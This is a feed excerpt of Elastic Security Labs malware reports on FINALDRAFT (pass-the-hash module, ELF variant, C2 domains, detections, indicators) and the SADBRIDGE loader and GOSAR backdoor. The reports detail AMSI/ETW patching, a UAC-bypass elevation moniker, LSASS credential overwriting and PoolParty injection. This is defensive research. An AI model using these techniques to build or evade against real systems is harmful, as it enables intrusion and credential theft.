<p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image21.png" alt="named pipe creation for pnt.x64.dll" /></p>
<p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.</p>
<p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post &quot;<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>&quot; by Praetorian. The result is then sent to the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image22.png" alt="Named pipe output and created process" /></p>
<h2>FINALDRAFT ELF variant</h2>
<p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p>
<h3>Additional transport channels</h3>
<p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p>
<table>
<thead>
<tr>
<th align="left">C2 communication protocols</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">HTTP/HTTPS</td>
</tr>
<tr>
<td align="left">Reverse UDP</td>
</tr>
<tr>
<td align="left">ICMP</td>
</tr>
<tr>
<td align="left">Bind TCP</td>
</tr>
<tr>
<td align="left">Reverse TCP</td>
</tr>
<tr>
<td align="left">DNS</td>
</tr>
<tr>
<td align="left">Outlook via REST API (could be communicating with an API proxy)</td>
</tr>
<tr>
<td align="left">Outlook via Graph API</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT ELF variant C2 communication options</em></p>
<p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p>
<p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.&lt;UUID_from_config&gt;</code> or <code>/mnt/hgfsdisk.log.&lt;UUID_from_config&gt;</code> if it fails to write to the prior file.</p>
<p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image2.png" alt="FINALDRAFT ELF variant configuration snippet" /></p>
<p>The domains are intentionally designed to typosquat well-known vendors, such as &quot;VMSphere&quot; (VMware vSphere). However, it's unclear which vendor &quot;Hobiter&quot; is attempting to impersonate in this instance.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">support.vmphere.com</td>
</tr>
<tr>
<td align="left">update.hobiter.com</td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Commands</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image32.png" alt="Command handlers" /></p>
<p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p>
<ul>
<li>Hostname</li>
<li>Current logged-in user</li>
<li>Intranet IP address</li>
<li>External IP address</li>
<li>Gateway IP address</li>
<li>System boot time</li>
<li>Operating system name and version</li>
<li>Kernel version</li>
<li>System architecture</li>
<li>Machine GUID</li>
<li>List of active network connections</li>
<li>List of running processes</li>
<li>Name of current process</li>
</ul>
<h4>Command Execution</h4>
<p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image28.png" alt="Executing shell command" /></p>
<h4>Self Deletion</h4>
<p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image11.png" alt="Self deletion using sys_unlink" /></p>
<h2>Older FINALDRAFT PE sample</h2>
<p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p>
<p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image5.png" alt="PE export of FINALDRAFT" /></p>
<h3>HTTP transport channel</h3>
<p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image59.png" alt="Choice between Outlook and HTTP transport channels" /></p>
<p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 2023-11-08T09:47:47Z.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image6.png" alt="Domains found in the configuration" /></p>
<p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Shell command</h3>
<p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image9.png" alt="Shell command handler setup" /></p>
<p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>&quot;/c&quot;</code> parameter, followed by appending the actual command to the parameter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image60.png" alt="Create piped cmd.exe process" /></p>
<h1>Detection</h1>
<p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p>
<p>The second rule detects the creation of a remote thread to execute the shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image35.png" alt="Detection of injected shellcode thread" /></p>
<p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image4.png" alt="Detection of PowerShell engine loads" /></p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a></li>
<li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li>
</ul>
<h1>Mitigations</h1>
<h2>Detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td align="left">SHA256</td>
<td align="left">PATHLOADER</td>
<td align="left">VT first seen: 2023-05-09 09:44:45 UTC</td>
</tr>
<tr>
<td align="left"><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT initial sample</td>
<td align="left">Telemetry first seen: 2024-11-28 20:49:18.646</td>
</tr>
<tr>
<td align="left"><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT ELF variant</td>
<td align="left">VT first seen: 2024-10-05 07:15:00 UTC</td>
</tr>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z</td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z</td>
</tr>
<tr>
<td align="left"><code>support.vmphere[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z</td>
</tr>
<tr>
<td align="left"><code>update.hobiter[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/Security Labs Images 13.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title>
            <link>https://www.elastic.co/pt/security-labs/under-the-sadbridge-with-gosar</link>
            <guid>under-the-sadbridge-with-gosar</guid>
            <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p>
<h3>Key takeaways</h3>
<ul>
<li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser</li>
<li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)</li>
<li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)</li>
<li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time</li>
<li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li>
</ul>
<h2>REF3864 Campaign Overview</h2>
<p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image32.png" alt="Fake Telegram landing page" /></p>
<p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p>
<ul>
<li>Trojanized MSI installers with low detections</li>
<li>Masquerading using legitimate software bundled with malicious DLLs</li>
<li>Custom SADBRIDGE loader deployed</li>
<li>Final stage GOSAR loaded</li>
</ul>
<p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p>
<p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p>
<p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p>
<p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p>
<h2>SADBRIDGE Introduction</h2>
<p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes.</p>
<p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p>
<p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p>
<p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).</p>
<p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p>
<h2>SADBRIDGE Code Analysis</h2>
<h4>MSI Analysis</h4>
<p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image20.png" alt="Significant files inside the MSI installer" /></p>
<p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image1.png" alt="Custom actions configured using Advanced Installer" /></p>
<p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" /></p>
<h4>x64bridge.dll Side-loading</h4>
<p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image30.png" alt="Control flow diagram showing call to BridgeStart" /></p>
<p>Similar to techniques observed with <a href="https://www.elastic.co/pt/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" /></p>
<p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\&lt;hostname_hash&gt;\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image8.png" alt="Configuration file hidden from users" /></p>
<p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>.</p>
<p>The configuration consists of:</p>
<ul>
<li>Possible campaign date</li>
<li>Strings to be used for creating services</li>
<li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)</li>
<li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)</li>
<li>Absolute paths for additional stages (<code>.log</code> files)</li>
<li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image27.png" alt="SADBRIDGE configuration" /></p>
<p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image18.png" alt="File listing of the DevQueryBroker folder" /></p>
<p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p>
<h4>HealthServiceRuntime.dll</h4>
<p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log&lt;random_string&gt;.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" /></p>
<p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" /></p>
<p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p>
<h4>DevQueryBroker.log</h4>
<p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p>
<p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br />
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p>
<p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>&quot;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" /></p>
<p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p>
<ul>
<li>Service name: <strong>DevQueryBrokerService</strong><br />
Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.</li>
<li>Display name: <strong>DevQuery Background Discovery Broker Service</strong></li>
<li>Description: <strong>Enables apps to discover devices with a background task.</strong></li>
<li>Start type: <strong>Automatically at system boot</strong></li>
<li>Privileges: <strong>LocalSystem</strong></li>
</ul>
<p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.</p>
<p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.</p>
<p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p>
<h3>Stage 1 Injection (explorer.exe)</h3>
<p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image21.png" alt="I/O Completion Port Shellcode Injection" /></p>
<p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.</p>
<h3>Stage 2 Injection (spoolsv.exe/lsass.exe)</h3>
<p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p>
<h4>DevQueryBrokerService.log</h4>
<p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" /></p>
<p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>.</p>
